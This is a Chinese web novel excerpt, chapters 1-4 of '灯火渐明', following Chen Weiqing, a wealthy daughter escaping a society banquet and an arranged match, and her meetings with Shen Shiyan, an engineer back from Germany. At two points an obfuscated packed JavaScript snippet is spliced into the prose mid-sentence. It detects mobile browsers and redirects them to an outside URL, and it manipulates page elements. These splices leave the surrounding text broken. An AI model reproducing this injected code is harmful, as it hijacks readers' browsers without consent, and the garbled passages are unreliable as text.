《灯火渐明》 1. 叛逃 夏天的南州闷热又潮湿,简直让人喘不过气。 更衣镜前,陈蔚青站得笔直,像一支尚未开封的钢笔。 她身上那件银白斜襟旗袍是母亲亲自选的,说是从南京送来的样式,素净中藏着讲究。布料在她锁骨处反着光,她低头看着胸前的盘扣,仿佛一枚即将落下的印章。 身后传来高跟鞋轻轻踩在木地板上的声音,一步、两步,不紧不慢。母亲的声音随之落下,温和得好似一道剪影:“太素了。” 蔚青没有回头,她低着头尽量避免她们母女俩的眼神在镜子里交汇,她知道母亲一定在身后皱起了眉。她淡淡地说:“可以了,我不想在人堆里像盏吊灯一样。” “你是陈家小姐。”母亲站定,轻轻抬手,为她拨正肩上的布料,妥协似的说了句,“这件料子倒也还可以,不丢脸。” 陈蔚青这时才抬起头,对上母亲镜子里的眼睛。她与那双眼角有着隐隐的皱纹的眼睛对视了一阵,看不见任何的情绪。 那就是母亲,不怒、不急、不动声色地将一切收入掌控之中。今天她穿着一身墨蓝色的缎面长裙,头发挽得干净利落,鬓角一点银光,像是故意留下的警告。蔚青低头看自己那条身上的银白色旗袍,胸口包得紧紧的,像个被固定好的模型。 “别动。”母亲低声说,伸手为她戴上一只珍珠耳环,金属冰凉贴在耳垂上,像个标记,碰得她耳朵痒。 “沈家那位少爷你听说过吧?”母亲漫不经心地问,“前阵子刚从西洋回来,是婉芝的表哥,你和婉芝一向关系最好。” 蔚青没出声,只轻轻地“嗯”了一下,像接住一颗子弹,又迅速藏进口袋里。 “听说是学机器的。”母亲顿了顿,又补了一句,“你不是一直喜欢这些?” 她笑了下,淡淡地说:“似乎不是聊这个的场合。” 母亲看了她一眼,眼里终于浮现出一点点的满意,但她什么也没说。母女两人沉默了一阵,片刻后,转身离开房间,只留下一句:“半小时后下楼,别迟了。” 门“咔哒”一声关上。屋子里安静下来,窗外蝉声像是被困在水里。 蔚青站在镜子前没动。那件旗袍果然不丢脸,也的确合身——合身得像一层皮。 她忽然从妆台抽屉里拿出一根笔,轻轻托起右耳,把耳环摘了下来。镜子里那个女人没说话,只朝她扬了扬下巴,像在说: “你有本事,就别戴上。“ 楼下灯火已然点起,厅中亮如白昼,水晶吊灯像是一只只倒悬的蛛网,把整个空间缠得无处躲藏。 宾客三三两两围着长桌,有穿洋装的,穿旗袍的,甚至还有些人穿着马褂,中西混杂,显得有些可笑。 蔚青下了楼,一步一步,她远远就听到母亲在和她的——也不记得是哪个姨妈在谈话,她听得不真切,但内容无非是一些寒暄、提及哪家少爷刚从哪里回国,又或者哪家小姐订婚在即。 她不想听,也不想演。她知道,今晚她得是那个得体的陈家小姐,可她只想转身逃出去。 见她下来,姨妈迎了上来。 “哎呀,蔚青小姐真是出落得越发好了。”她胳膊肘里挽着一个巴掌大的琉璃包,眼神里满是精算过的笑意,“最近还在读什么书呢?你年初送的那本诗集我还放床头呢,一页一页翻着,真觉得自愧不如。” “读多些书好。现在的少爷们学了那些新东西,都说要娶读过书的女子。”林家的太太也慢慢地踱了过来。 蔚青突然一阵反胃,母亲走了过来,笑容恰到好处:“蔚青最近在学一些洋玩意,爱钻这些,她父亲说她不如男孩子省心。蔚青年纪也不小了,我们也正商量着该为她寻一门合适的人家了,我看就刚刚同我说话那位林公子就还蛮合适。” 周围的人都笑了起来,像是听见一个风雅的玩笑。 但那一瞬间,蔚青的心“咯噔”一下。 她原本还撑着微笑的嘴角,顿时像被什么拽住了似的微微抽搐。心里像被什么尖锐的东西扎了一下,疼得她几乎要脱口而出“不要”两个字。 不要,不要,不要! 有什么声音在她脑海里尖叫着,试图冲破这灯火辉煌的笼子。她忽然觉得喉咙发紧,那银白色旗袍的盘扣全都变成了锁链,紧紧勒着她的身体每一寸,整个人都被命运裹进了一张不容抗拒的丝绸网里,越挣扎,勒得越紧。 她想开口,却又强迫自己闭上。场面不允许她喊出来,她僵住了一瞬,脸上又换回了得体的笑容。 有人附和:“哎呀陈先生那样读书人,生出女儿都像才子呢。” 有人又低声道:“最近听说你家与礼顺洋行又签了新约?可真有本事。” 蔚青站在一旁,听着那些名字、生意、关系链从她耳边流过去,像一张巨大的网慢慢织起,她知道,她只能说得恰当、得体、温和的话,最好还能顺便显得聪明而不冒犯——她还是选择闭嘴吧。 母亲朝她一瞥,似乎是对她的沉默颇为不满,蔚青才猛然回过神来,赶忙接话:“礼顺洋行其实是想打通内地的香料线。我们原本不打算应的,是我母亲看准了他们这两年在中南的采购动向,提前囤了几批马六甲肉豆蔻,又调整了运输路线。“ “哟,陈太太果然眼光独到。”林太太又转向母亲,“你家老先生现在可好?最近很少在外头见他了。” 母亲神色不动,只淡淡答:“他忙着读书呢,天天在楼上同莎士比亚讲道理。” 这句话说完,众人都笑了。 姨妈捧着酒杯转了一圈:“哎?听说沈家的那位沈公子今日也应邀了?“ 母亲一怔,几乎无法察觉地皱了皱眉,林太太接过话头:“是啊,从德国回来的,念的洋人那一套,也不知靠不靠谱。 “哎哟,他若是来了,今晚咱们这些姑娘怕是都没心思吃点心了。” “不过我刚才问了,说沈夫人回信说他身体不太爽利,这几日闭门休息。” “是吗?可惜了。” “可惜什么啊……”说话那人把声音压的极低,“沈家都不指望他了……据说准备扶他弟弟……” 蔚青从人群中悄悄退到墙边,端着杯子,仿佛自己就是一张桌布上多余的折角。 她的目光越过厅中人群,看向窗外黑得发蓝的天。风从南边吹来,带着水气,也带着一种说不清的躁动。 笑声还在桌边萦绕着。蔚青顺着笑意点着头,脸上的弧度仿佛还没散去,脚步已经悄悄后退了半寸。 她走向洗手间方向,拐进走廊深处那段没人注意的暗角,把扯得她头皮疼的,梳的一丝不苟的头发放下。 再走出来时,她像是换了一个人,像在夜色中呼吸到了久违的空气。 她小心翼翼地走出陈宅后门,沿着夜色中的小巷一路向东,街灯昏黄,蝉声交错,远处隐隐是江边码头的汽笛声。 她穿过两条巷子,一道石阶,一排围墙,拐进那座熟悉的女中后门。那儿早被人撬开过锁——她记得,是上次婉芝说“每座牢笼都该有个出口”。 教学楼还亮着灯,但不是值班老师的那种惨白,而是从三楼那间教室透出的,暖黄、闪动、像熔了蜜蜡似的光。窗户没关紧,传出西洋乐的片段旋律——是黎婉芝最爱的法国香颂,还有年轻人压低声音的笑。 穿过昏暗的走廊,她终于来到那间掩着门的教室。 教室不大,座椅推到两侧,讲台上挂着旧黑布,遮住校训标语。纸串灯绕着黑板转了一圈,旧收音机正播放着音乐,音质模糊得像隔着层雾。 教室本是只能容纳十来个人的小房间,但此刻竟挤了三十多张面孔。门一打开,热气几乎是扑着脸卷进来——带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他讲得很慢,很清晰,却并不讨好。他的嗓音有些沙哑,像纸张翻过旧页时的声音。蔚青不懂他说的每一个术语,但她听得出,他讲的不是在卖弄知识,而是在试图描述一个他相信的世界。 “……当你给一组齿轮设定了判断条件,它就不再是死物。哪怕只是两个铜环在旋转,它也能‘选’出你要的东西。这就是逻辑门的雏形。” 一旁有人点头:“就是那种,靠打孔卡片控制的机器吧?你说过能做算术?” 他点点头:“不仅是算术。它能记忆、能判断,甚至可以对重复的信息做出排除。你可以通过电给他下指令……” 她忽然开口:“那么它,会不听指令吗?” 话音刚落,教室里的空气仿佛轻轻一顿。她意识到自己的问题问的有些荒唐——是在问机器,还是在问自己。 沈时砚抬起头,目光穿过人群,准确地落在她脸上。 那一瞬间,她有点后悔。这个问题问得太突兀、太像挑衅。可她没打算道歉,只是抿唇站着,像用一根细细的鱼线试探这人心口下的逻辑系统。 他没有笑。 “你是说……”沈时砚的声音慢下来,像是在小心校对每一个词,“当机器已经接受了一整套逻辑命令——它能不能,不按设定的顺序走完?” 他语气里带着轻微的迟疑,却并不回避。“如果它拥有多个执行分支,它……也许能。” 他低头,自言自语地补了一句:“或者哪里出错了……” 然后,他重新抬头看她,声音安静又专注:“是个好问题。你——在哪所学校读书?” 那句话不只是客气,而是一种认真。 像是一个工程师对精妙的结构产生的敬意和好奇。 蔚青有点发怔。她听不懂他说的每一个术语,却听得出,这个人不是在解释原理。他在回答她。 她下意识想笑,但没笑出来,只低低应了一声:“我父亲为我请了家庭教师。” 这时婉芝从讲台后挤出来,笑着打圆场:“我来,我来介绍——这是我表哥,沈时砚,刚从德国回来,念的什么算术什么机器什么的,这位是陈蔚青,陈家的小姐。” 沈时砚轻轻“啊”了一声,不知是因她的名字,还是她的问题。 哎?刚刚从西洋回来的表哥? 2. 夏夜 哎?刚刚从西洋回来的表哥? 陈蔚青抬起头,问题还没从嘴里出来,沈时砚就先开了口:“蔚青小姐,我刚回来就常听婉芝说起你,你们是朋友?” “当然!最好的朋友!”黎婉芝蹦起来抢答。 “那你也是女校的学生?”沈时砚歪了歪头,“准备去上大学吗?” “啊……我不是。”陈蔚青听他提到女校,遗憾地摆摆手,“我没有上过学,我父亲为我请了家庭教师。” “你看,陈家人。”婉芝怒了努嘴,插了一句话。 “那你怎么懂这些?“沈时砚问。 陈蔚青盯着他,像是在盯着一个无法交流的人,她又重复了一遍:“我父亲为我请了家庭教师——他是我父亲的朋友。” “哎?”沈时砚眨了眨眼,愣住了,像个卡壳的机器,他扯了扯嘴角,低头轻轻一笑,接着忽然就像彻底反应过来了,连着笑出了声,“哈哈哈哈哈……啊,陈小姐,抱歉,真的抱歉,我以为你的老师是那种只教四书五经、拿戒尺敲桌子的老先生…… 陈蔚青被他笑得也有些无奈,勉强配合地笑了下,说:“对不起让你误会了。他是香港人,以前在英国读书,回国之后在香港大学教过几年,后来就不教了。现在在我家……讲逻辑,讲科学,也讲伦理,有时也讲讲钱。“ “可会讲钱了。“婉芝嘟囔道。 这时有人从后头推了推沈时砚:“喂大学生,继续讲你那个什么‘自己会算账的机器’啊!” 沈时砚应了一声,朝蔚青又看了一眼,才回头继续说话,讲的是机械中断之类的问题。 他低头喝了一口汽水,又转回来看她。 “你那位老师……听上去很有意思。”他说,“我能见见他吗?” 陈蔚青一怔,眼神里闪过一丝诧异,但随即便轻轻一笑:“你想见?那就来见嘛。”语气轻飘飘的,像是一句调笑——没打算放在心上,也没打算真的拒绝。 沈时砚却认真地点了点头。 他们两个正要再说什么,教室里突然起了口哨声,不知谁带起节奏,几个人围在一起开始踩着鼓点打拍子。婉芝被人拽走,冲他们摆了摆手。 喧闹刚起,沈时砚忽然说了一句:“今天没去你们家晚宴,对不住。” 陈蔚青一时没反应过来,转头望他:“你怎么知道我——” “我表妹说的。”他眼角微挑了下,“还有我妈,她早收到请帖了。” 她“哦”了一声:“没关系,我不也溜出来了嘛。”然后她顿了顿,笑道:“但我还以为你身体抱恙,没想到这不是挺健康的嘛?” 他轻笑:“没有,婉芝拉我来这里。我就跟母亲说了一声,她倒也没多问,只随便给我找了个理由。” 蔚青望着他,一时说不出话来。 她想起宴会厅里母亲递过来的那一瞥,不苛刻,却也没有退路。 “你母亲给你找了个理由?”蔚青想了想,低声说道,“你母亲……挺特别的。” 沈时砚垂下眼,笑了:“是啊。她有时候像个外交官,有时候比谁都像小孩。看她跟谁说话。” “但……”蔚青歪头想了想,“你母亲——沈夫人是姚家的……” “姚芷君。“他打断了蔚青的话,然后带着笑意说道,“可别叫她沈夫人,她会生气的。” 她突然不知道该说什么,像是接触到了她接触过的新东西。窗外风声正好,喧闹似乎离他们隔了一层帘子,像隔着玻璃看灯火。 “你母亲……是不是不太允许你来这种地方?”沈时砚试探性地问道。 “倒不至于不允许,只是从不理解我来做什么。”蔚青顿了顿,忽然说:“她们只会说,‘你这样的女孩子,怎么会出现在这种地方?’” “就好像我只能被摆在厅堂里、和花瓶一起长大。”她低下头,声音里堆满了失落,“她不会阻止我,她只是觉得——我不该有这样的兴趣,不该出现在这样的场合,不该和你们说话。她觉得我该是另一个样子,我也一直演着她想要的样子,但今天,至少今晚,我不想再演了……” 她说完,转头看他一眼,他像是很抱歉的样子,嘴唇抖动着,好一会终于开口,结果是一句特别没头没脑的话:“你知道屋大维娅吗?——啊,不是,你不知道也可以的……” “知道。”蔚青差点笑出来,她看出他在很用力的找话题了,但这个话题并不是那么大众,“罗马的公主?” “对。”沈时砚眼睛一亮,“我第一眼看到你,还以为你是那种人。” “你指的是什么?“ 沈时砚像是意识到自己话说了一半,忽然有点局促。他一只手握着汽水瓶,另一只手在背后无意识地扣着掌心,像个突然需要组织语言的学生。 “我不是说你性格像,”他急忙解释,“是……就是那种,出身高贵,被放在一个完美的位置上,从不出错,从不出声……所以总让人以为她就是那个样子的人。” “为什么?” “你看、你穿着那么昂贵的,走路都没法大步迈出去的旗袍……” “我只是没来得及换!”她睁大眼看着他,脸上几乎要写上“冤枉”两个字。 沈时砚也意识到自己说错了话,整个人立刻像个被拧了电门的收音机,急得声音都高了八分度:“啊!抱歉,我现在知道了!我就是说……就是说那种感觉!” “哪种感觉?”蔚青斜睨着他,嘴角却止不住地翘了起来,“那种……我踩着缎面和珠片走出来,就像是个贵族娃娃被送进橱窗的感觉?” 他张口结舌,半天憋出一句:“你比橱窗里的那个……复杂多了。” 蔚青低头笑了一下,说:“与其做屋大维娅,我倒更想像李维 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“她拆过打字机,还差点把我家的收音机烧了!我记得最惨一次是你把你妈的香水喷雾拆开来找那根铜弹簧,结果香水全喷墙上了。后来梁老师来了她才不拆了。”黎婉芝滔滔不绝地揭起底来,“那可都是洋玩意,好贵的啊!” “梁老师?” “就是她的老师啊笨!”婉芝瞪了表哥一眼。 陈蔚青被说得有些不好意思,但嘴角还是压不住地上翘:“那是我小时候不懂线圈原理……” 沈时砚似乎又想说什么,但话到嘴边却没吐出来,只轻轻点头:“那我更该找时间拜访拜访。” “你随便。”蔚青假装轻松地撇撇嘴,“他不一定会理你。” “那我会很有耐心。” “你刚刚就很有耐心。”她说完,自己先笑了,眼尾在教室暖黄的灯下轻轻弯起来。 婉芝拽住两人往讲台走,一边走一边喊:“先别说了。快来拍照!再不拍照灯泡就坏啦!” 他们三人慢慢朝人群方向走去,大家站在一块,推推搡搡的,见他们来了,给他们让出了一个位置,他们站在那里,晃晃悠悠的,木地板吱呀作响,窗外夜风拂动那半掀着的窗帘,像什么正悄悄被记录下来。 站在前面拍照的人摆弄着那个盒子一样的底片机,然后大声地开始倒数。沈时砚忽然低声问她:“你希望它留下你的什么样子?” 陈蔚青偏过头,看着那台旧得发亮的柯达底片机。 “模糊一点的好,”她说,“因为我还没决定。” 沈时砚笑了一下,没再说话。 快门按下时,婉芝正笑得用力,蔚青站在两人之间,裙角未稳,眼睛看向相机旁边的方向,而沈时砚眼角带着一点犹豫,一只手还没来得及收回。 快门一落,空气像是亮了一下,又慢慢落回灰暗潮湿的南州夏夜里。 3. 锦衣夜行 陈家宴会过后的几天,也就是她穿那身一点也不合身的洋装的那天,天气焖得跟天空被什么东西罩住一般,整个南州都被放在蒸笼里蒸着。热风贴着肌肤擦过,像细细的水泼在手肘和锁骨上,一点一点收紧她的呼吸。 那是件灰蓝色的洋装,剪裁贴身,衣料在光下泛着低调的哑光。领口是一个半圆,正好卡在锁骨上缘,领边缝了一圈极细的银丝绣边,近看像是银线缠出的蛛网,轻巧、冷静、令人不敢碰。 袖子只到三分之二,恰到好处地露出一节手臂。她站在镜前试着抬手,动作受了衣料的拘束,只能细微地举到胸口,像一个刚学会敬礼的女学生。 她原本想换一套衣服,被母亲按住:“不,林家崇尚西法,别穿旗袍,显得老气。” 母亲翻出这套洋装时语气轻描淡写:“从香港定的,缝得好。” 那句话她没应,只是低头整理扣子。一颗一颗全是包金的贝母扣,细得像鱼眼,扣进去时要先把指甲撑进扣环,再轻轻一转——像一件婚纱,或者把自己锁进什么东西。 她头发挽成一个松髻,用的是最普通的一根乌木簪。耳边两缕碎发被母亲捋过去,藏进耳后。 “别露出来,”母亲说,“林家人注重仪态。” 她点头,什么也没说。 陈家的车停在租界里最大的一家西式餐厅门口。正值日落,阳光在窗玻璃上映出她的影子,模糊不清,但像她的尾巴一样,拉得极长。 她下车的时候裙摆轻轻扫过小腿,皮鞋跟敲在地上发出细碎的响。她母亲走在前面,侧脸安静,像一块修过多次的玉石。走进门前,她回头看了蔚青一眼,语气极平常地说:“林家那位长子温文有礼,去过东洋,回来任职电力总局,是拿得出手的年轻人。” 她看着母亲一边说话,一边用指尖替她拉平肩部的线条,就像在抚平什么必须被展示给别人看的褶皱。 “最重要的,是守规矩。”母亲最后说,“不抽大烟,不赌钱。现在这年头,找个‘不坏’的,已经不容易了。” 蔚青点了点头,轻轻拉了拉袖口,指尖在衣料上摩挲了一下,她决定自己在确认这布料底下的那副骨头还是不是自己的。 她低头走进餐厅。背后被母亲狠狠一拍:“站直了。” 她站直了,像一根刚被削过的铅笔,被人握在手里,只等落笔签字。 餐厅里正播放着老留声机唱片,声音混着空气中的冷气与鲜花香,像从一口深井里飘上来的幽幽回响。她脚尖踏进大理石地砖的那一刻,整个人像被放入另一个世界——光线被天花上的琉璃灯打得温黄,服务生穿着白西服在席间低语穿梭,瓷器碰响时有种贵族专用的克制。 她像一个误入剧场的观众,偏偏被人点了名,让她上台。 桌上铺着干净得没有一点折痕的白布,银餐具整齐排列在金边盘子旁,每个叉子的齿口都像要精准切进她的咽喉。 林家人已经到了。林母穿着烟灰色的纱衣,戴着一对珠母耳环,笑得客气,眼神却像在审样品。 林公子起身替她拉椅子,一身藏青西装,没有领针,扣子只系到第二颗,嗓音低沉有礼:“陈小姐,久仰。” 他的声音温度正好,但她觉得那语调里带着一种冷静的计算感,像在用尺子丈量她的笑容弧度。她坐下时,裙摆在椅子边轻轻展开,如一张摊开的图纸,纸上不是未来,而是落款。 她的母亲开始与林家寒暄,林母笑着说:“阿彦自小体弱,这几年身体调养得不错。也正是时候了,我们想,适合成个家。” “是啊,”母亲接着说,“蔚青也大了。她读书是读得多了点,可终归还是要回归生活。” 她听着这些话从左右两边温柔地铺过来,像餐布盖在热汤上,安静、体贴、窒息。 林公子朝她伸出右手,像是在等待一枚印章在合约末尾落下一般等着她的回握。他的五指修长,干净,指甲修得极短。但她注意到那只手的指节处,皮肤颜色略深,一圈一圈发白,像是旧伤痕硬结后留下的浮肿纹理。 她小心翼翼地回握住他的手,二人的手得体地碰在一起,像一个交易,然后分开。他不紧不慢地掏出怀表看了眼,说:“我来的路上还在想——今天这天气,像蒸笼里煮人,穿着西装就是受罪。” 她听出那是种风趣的寒暄,却觉得他嗓音里的温度和他说话的内容并不匹配,像是某种被训练出的好客公式。 林公子放下怀表,笑道:“我小时候有一阵子,特别着迷计算尺。后来父亲让我去读工程,在东洋学的是电讯,但我还是偷偷买了个打孔机,自己造模型。” 他说得轻巧又略带一点少年气的自嘲:“我那时候非要给家里的猫做实验。什么牛顿、莱布尼茨、那个物理学界的新星你知不知道,叫什么……AlbertEinstein?你知道吗?他们的大作,我都拜读过。” 这话一出,她忍不住笑了,虽然有点卖弄,但她是真被惹笑了。那笑从胸口泛上来,像藏了太久的雾气终于被戳破。 林公子也笑着看她:“我在报上看到你的文章了——我很佩服。” “只是,只是写在朋友办着玩的报刊上的文章,还真稚嫩……没什么好佩服的……”她感觉自己的耳朵有点发烫,可能已经红了。 他抿了一口水,语调温和,他看了眼她,好像很满意的样子,然后继续说——带着一种轻轻叩门的姿态:“像你这样的人,如果愿意嫁进林家,我不敢说会保证你能去大学、做学术……但我愿意为你留一间屋子。你若不想做别的,就在那里做做学问也好。” 这一句话像一根针,从她左肩慢慢刺进皮肤,一点不疼,却叫人发麻。 她愣了一下,没有答话。 她的手搭在餐巾上,指节还在不自觉地摩挲那枚银叉的花纹。那花纹极细密,像机器里未完工的齿轮。 她原本以为今天会像往常一样——是一场被安排的演出,她照本宣科,坐满流程。但现在她却听见自己的心里,有一道门微微开了。 他不是那么让人讨厌,不像她过去遇见过的那种“会来提亲的人”。 是不是也许这不是一场牺牲?是不是命运也许留了一道出口? 她没注意到自己笑了。 那是一种几乎让她陌生的笑,轻轻挂在嘴角,没有经过练习,也没有被告诫过“要得体”。林公子说“我愿意为你留一间屋子”的时候,她甚至能想象到那是个静静的书房,窗开在东侧,光能透进来。那里也许没有机器、没有实验,但也没有人叫她“别太多话”、“别抬眼睛”、“别再提什么科学”。 她忽然觉得自己有点累,想靠一下,哪怕只靠一会儿。 正在这时,母亲侧头对她说:“你去洗个手吧,脸有点热。”语气轻巧但又锋利,仿佛在提醒她说:“你是不是太飘飘然了?” 她点点头,起身,裙角带起一点喜悦的风。 走廊上很安静,餐厅的琴声远远压在后头。她走进盥洗室,洗手池的水哗哗流,她不急着洗,只在水面上停了停——那水像一张没来得及弄皱的纸,映出她半张脸。 她看着那张脸:眼尾略弯,鼻尖泛红,唇角还有一点没意识到的弧度。 她拿毛巾擦了擦手,回头时,洗手台旁站着一个女人,穿一件旧蓝布衫,低着头装作洗手。她抬头时,那是个她似曾相识的人,一张在亲戚中模糊过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502437|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,像是在那里等了她很久了。 女人递给她一张纸条,手指飞快一卷,将它塞进她的掌心,只低声说了一句:“你看一眼就知道了。” 女人走得很快,怕自己留下痕迹。 她怔了一下,没立刻打开纸。她站了一会儿,像是想再确认一下刚才的笑是不是真的。 她打开水龙头,把水调到最小,水声在流。她低头,把那张纸摊开。 字写得很轻,但每一笔像是用针刺出来的。 “林子彦得过花柳病。 快跑,蔚青,快跑。 ——陈礼盈” 她盯着那张纸,足足过了五秒,才猛然反应过来—— “陈礼盈”是谁。 那个名字她小时候听过很多次,后来越来越少,再后来就没人提了。 一个“风评不好”的堂姐。 起初是说“嫁得好,嫁给了一个在上海开厂的老板”,又过了一年,说“退婚了”,原因也不清楚。后来又说“再嫁”,嫁给一个巡捕房的翻译官,据说“性子不坏,就是太老”。 她记得那年家里人吃饭提起这事,有人只是淡淡说了一句:“她也是倔得不知好歹。” 现在她才明白,那不是倔,那只是挣扎,甚至出不了一点的水花。 她突然有点想笑,笑自己的天真。 她想起林子彦手上的痕迹——那一圈一圈发白的硬结,梅毒痊愈的痕迹,那不是她现在才认出来的。她早在握手那一刻,就看见了、察觉了,只是那时候,她没让自己细想。 她选择了不看见,就像家里人当年看着陈礼盈一样——没人是真没发现,只是没人愿意承认。 她脑子里突然涌起一个念头——厕所这边有窗,窗外是小花园,三步之后就是后门。 她可以翻下去。 真的,翻下去,沿着后巷走,就能离开这个地方,离开那张纸说的命运,离开那间“为她留的屋子”。 “快跑。” 她甚至下意识地往窗边走了一步。 可她停住了。 裙子太紧,鞋太高,窗户太窄,风一吹上来,都是餐厅里玫瑰与牛排的味道。 ——不是障碍,那都是借口,她知道她只是没有勇气。 她没翻。她把那张纸放在洗手池里,看着水慢慢地把纸上的字晕开,湿透,碎裂。 她回到餐桌,像什么都没发过一样,桌上的甜点还在冒气。林公子正用叉子戳着奶油球,听他母亲讲某位督军的家宴。 她默默坐回位子,林子彦手上那颗奶油球“啪”一声被他戳破,她吓了一跳,接着又笑着说:“抱歉,刚刚有点头晕。” 她母亲正打算开口说什么,蔚青忽然轻轻弯下身—— 她吐了,来不及冲出包间,就直接吐在餐巾上,桌边所有人都吓了一跳。甜点的香气和她胃里的恶心搅成一团。 林母立刻站起来,惊叫道:“是不是吃坏了?”林公子也慌了,递水递纸巾,嘴里一直在说着:“没关系,别慌”。 她母亲的脸,一瞬间阴下来了。但她没有责骂,看上去十分着急,她只是扶着蔚青,语气快、低又压着火:“你这样太失礼了。” 她一边说,一边掏帕子擦她额头上的汗,动作极快,像是怕别人看出什么。 “走吧。”她说,“我们回去。” 她们提前退席,一路无话。直到回到车上,车门关上,母亲沉默地看着窗外,一言不发,只是偶尔担心地偏过头来看看她。 她靠着车窗,闭上眼。耳朵里还嗡嗡响着,她好像听到了有人对她喊,好像是自己的声音。 “快跑,陈蔚青,快跑。” 4. 拜访 书房的钟在墙上静静地走,指针划过“八”与“九”的细缝时,陈蔚青还坐在窗边,望着阳光落在地毯边缘的影子出神。 墨绿色的窗帘只拉了一半,阳光斜斜地照进来,在书桌上铺出一片温暖却不炽热的光。梁悯初正拿着一本带黑色封边的讲义册,讲到“判断之于主观结构”的时候,语气依旧温柔平稳,像江南的春水拂过芦苇,轻而不滑。 “我们不能把判断仅仅理解为推理的结果,”他说,“有时候它更像一个选择,或者说……” 蔚青回过神,把视线拉回来,笔尖点在纸面上,却没有真的写下什么。她记得他讲了“波义耳”,又讲了“康德式反思判断”,她都听见了,只是没记住。 她盯着梁老师右手袖口的一颗纽扣,那是铁灰色的金属扣,边缘有一点磨损,她小时候就注意到了。 他穿的还是那件旧呢子马甲,扣子永远扣得整整齐齐。他的发梢已经有了些灰白,嘴唇颜色很淡,但说起话来依旧有种轻盈的坚实。 蔚青忽然想起沈时砚在聚会上说的那句话——“你那位老师……听上去很有意思。” 她有些恍惚地想着:是啊,很有意思。但那不是一件容易解释的“意思”。 那是一种……太具体,又太抽象的东西。 这个人总像悄悄在她耳边说——困在这里不是你的唯一选项。 老师是第一个告诉她,那些“不该学”的东西,她也可以学的人。 是第一个告诉她,这个世界比她所在的厅堂要大得多,而门是开着的。 只有在这里,在他的课堂上,她才不像一只笼中鸟。 她想起了前几天那场无比失败的相亲,那身洋装、那张纸条、那个差点吞下去的未来。她只是盯着他的嘴,看着那张安静的口型在空气中一圈圈晕开。那不是语言,更像另一种节奏,一种不属于这个房间、不属于任何家族规矩的节奏,在她眼前无声地流淌。 她听见他的声音,但她没在听。 她只是盯着他的嘴,看那张平静的口型缓缓吐字,仿佛那不是语言,而是另一个世界的节奏,在她眼前无声地流淌。 她还没来得及更深入地想下去,书房的门被轻轻敲了两下,是伺候的女仆低声道:“小姐,前厅来了一位沈公子,夫人说要您下去。” 她抬眼,几乎是条件反射地站起来:“他说找谁?” 女仆犹豫了一下:“不知道,说是前几天宴会身体抱恙的那个沈公子。还说要梁先生也一起过去。” 梁悯初合上讲义本,微笑着点了点头。 二人跟着女仆一前一后地走下去,沈时砚已经坐在那张玳瑁木包着牛皮的沙发上。那是父亲特地从香港定制的舶来家具,扶手微曲,包着的牛皮的表面因岁月而泛出柔光,靠背雕着暗纹,像一个被驯服的兽骨骨架,安静而警觉地盘踞在西厢厅中央。沙发太深,坐进去会自然后倾。沈时砚却坐得极正,看上去甚至有些僵硬。 而陈母唐敬微,穿一身月白细斜纹褙子,端坐在另一头。她的手指轻搭在茶盏上,眉眼里波澜不兴,一如她此刻望向沈家的目光——礼貌、平稳,隐隐有一种上位者的考量。 她没有立刻开口,只等梁悯初与陈蔚青走近,才淡淡点头:“悯初来了。蔚青,来坐。” 蔚青坐下那一瞬,明显觉察出母亲下意识朝她瞥了一眼,像是确认她有没有特意打扮,又或者察言观色她对“沈家人”的态度如何。 她低着头,坐在靠近母亲的一侧,坐下后她朝沈时砚礼貌地微笑了下,像是第一次见面的陌生人。 “沈公子说,前几日宴会未能成行,今日特地来请个安。”陈母声音温温的,像水滑过玉器。 沈时砚点头:“多谢夫人关心,那日确实不便。刚从海外回来,像是有些水土不服,母亲便帮我推脱了。” 像是有些水土不服——陈蔚青想起他在女中教室里的样子,差点笑出声来。 “哦?”陈母笑了,“沈夫人近来可好?我听说她在上海开女学?” “是,”他低头笑了笑,“但她早就不教了,现在只种花写信。” “有福气。”陈母抿了口茶,目光却轻飘飘地掠向蔚青。 “梁先生您好。”沈时砚偏过头看向梁悯初,“这几天听表妹黎婉芝讲起您,说您是个学识渊博的人。” 梁悯初和煦地笑着:“黎小姐谬赞了。” “听表妹说您曾在英国求学。”沈时砚身子微微前倾,显得有些急切,“您都学些什么呢?” 梁悯初一笑,神色温文:“读的是数学,但主攻的却不是解题。” 沈时砚愣了一下。 “研究方向是‘数理逻辑’。”他顿了顿,仿佛怕说得太抽象,又解释道:“简单说,就是用数学语言说话、思考、推理。” “更像哲学是吗?”蔚青忽然开口。 “是也不是。”梁悯初转头看她,目光温柔,又看向沈时砚,“我年轻的时候好奇心重,倒是什么都学了一点,现在是什么都不精。沈公子都研究些什么?” “就是……西洋那里有一种职业叫计算员。”沈时砚说,讲到了自己自己感兴趣的东西,语速越来愈快,“基本上是一群女孩子,工作就是在屋子里算术。” “帐房先生?”母亲问,声音里还是带着一种不容置疑的权威。 “账房小姐。”沈时砚一笑,“但她们算的数非常大,比如做人口普查之类的。甚至十年都算不完。于是就有人发明了算术的机器。” “像算盘一样吗?”陈蔚青追问。 沈时砚迟疑着,最后点了点头:“可以理解为,会自动算数的算盘。” “计算的机器。”梁悯初感叹道。 蔚青跟着点了点头,突然感觉到母亲的目光从旁边劈过来,像是空气突然有些不通畅。 尽是些无用之学,她感觉母亲在说。 母亲皱起眉,转身吩咐女仆:“把你们的老爷陈仲云叫下来。沈家的客人,不能怠慢。” 蔚青听到了这个可以短暂逃开的机会,忙站起来,跟母亲说:“我去吧,父亲是在书房吗?”母亲挥了挥手,示意她坐下。 不多时,陈父也被请了下来,一如往常地拖着拖鞋,身上罩着宽松的西式便衣,看着像是刚从书房移出来的人。他见到沈时砚,打量了一眼,语气倒也不失大方:“沈家的大公子,上次见你还是小娃娃呢。” 